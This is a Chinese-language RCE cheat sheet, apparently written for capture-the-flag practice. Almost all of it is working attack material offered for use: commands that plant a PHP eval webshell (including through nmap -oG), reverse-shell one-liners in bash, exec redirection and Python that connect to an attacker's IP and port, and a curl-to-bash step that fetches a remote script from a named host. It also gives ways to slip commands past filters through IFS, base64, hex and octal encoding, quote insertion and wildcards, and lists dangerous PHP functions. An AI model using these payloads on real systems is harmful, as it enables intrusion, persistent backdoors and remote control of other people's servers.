RCE基础
RCE
利用方法:
没有特殊说明以下都是linux系统
1.写入后门
echo "<?php eval($_POST['mima']); ?>" >3.php
就可以写入一个木马到当前文件.要注意的一点是,如果写入的是linux系统,$符要用\转义一下就像这样\$,因为在linux系统里会把$..当作变量.
2.任意文件读取
ls命令开路,cat命令读文件
3.反弹shell
1.bash/sh法(bash -i:开启一个交互式bash终端,当然你不加-i也可以)
bash/sh -i >& /dev/tcp/ip/port 0>&1
>&的意思是把标准输出和标准错误输出重定向到指定设备.
0>&1指把标准输入重定向到标准输出的位置上,也就是/dev/tcp/ip/port,你也可以写成0<&1
2.bash/sh方法也可以和exec命令一起使用
exec number > ... 将一个文件描述符重定向到指定文件描述符或文件
于是就有如下payload
exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196
3.curl法
curl http://www.const28.com/a.txt|bash a.txt上是我的反弹shell指令
4.nmap中的 -oG命令(较苛刻)
如果某个环境下用到了nmap并且可以远程命令执行,就可以用-oG命令上传木马
-oG命令的作用是将nmap语句与扫描的结果一同记录在目标文件上。
nmap '....' -oG 目标文件
那我们这样写,就可以传入后门了:
nmap '<?php eval($_POST["a"]);?>' -oG 1.php
但是一般做题时,要在代码两边写上空格,再写上双引号
' <?php eval($_POST["a"]);?> -oG 1.php '
5.嫖来的python弹shell(原理后补),需python3环境
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
6.nc

绕过方法:
没有特殊说明以下都是linux系统
1.空格被禁用:

${IFS},$IFS$1 代替空格
<> 等标准输入符来代替空格
{} 利用花括号执行系统命令,这样执行命令不需要空格.具体做法是{command,args,args,args··}
2.拼接绕过:
利用linux里的变量,可以实现拼接语句达到绕过
3.编码绕过:
echo出一段加密字符,通过管道符扔给解密命令,再通过管道符把解密结果扔给bash执行或者直接内联执行
base64编码:以ls为例,ls的base64加密结果为bHM=。
echo/printf bHM=|base64 -d|bash //base64 -d是解码base64的意思。
当然你也可以用${}和``来内联执行,比如这样${echo bHM=|base64 -d}
hex十六进制绕过:以ls为例,ls的十六进制普通文本是6c730a
echo/printf 6c730a|xxd -p -r|bash
//xxd -p的意思是以普通文本的情况处理信息,-r是解码
同样也可以用${}和``
oct八进制绕过:以ls为例,ls的八进制文本是\154\163
printf "\154\163"|bash //注意这里只能用printf不能用echo,而且要加引号
同样也可以用${}和``
4.引号绕过与反斜杠绕过(插入绕过)

在命令里插入”或””或\都可以使命令正常执行
5.利用一些shell里的特殊变量
$0 当前脚本文件名.大部分情况下是-bash,可以用他某些情况下的绕过bash过滤
$n n是数字,从0~9,意思是传递给脚本的第n个参数值。若没有传递参数值,则该值为空.可以用于插入绕过(为空时)
$*和$@ 传递给脚本或函数的所有参数,不存在时其值为空,可以用于插入绕过(为空时)
6.内联执行
利用`和${}可以优先处理其内部的命令来实现一些绕过<br/>
具体操作有很多,说一个就可以了<br/>
cat \
ls` 可以把当前目录的源码全都cat出来
7.利用通配符
比如flag.html被过滤了,你又想cat它,就可以用通配符了
cat flag* //*匹配任意长度的任意字符
cat flag.???? //?匹配单个任意字符
cat fla[a-z].html //[]匹配单个括号里的单个字符的字符,[abcdef]可以匹配
//abcdef当中的任意字符,[a-z]则可以匹配a-z的任意字符
8.cat被过滤时
使用和cat功能相近的命令:cat、tac、more、less、head、tail、nl、sed、sort、uniq
9.PHP里与rce相关的的函数们
"exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"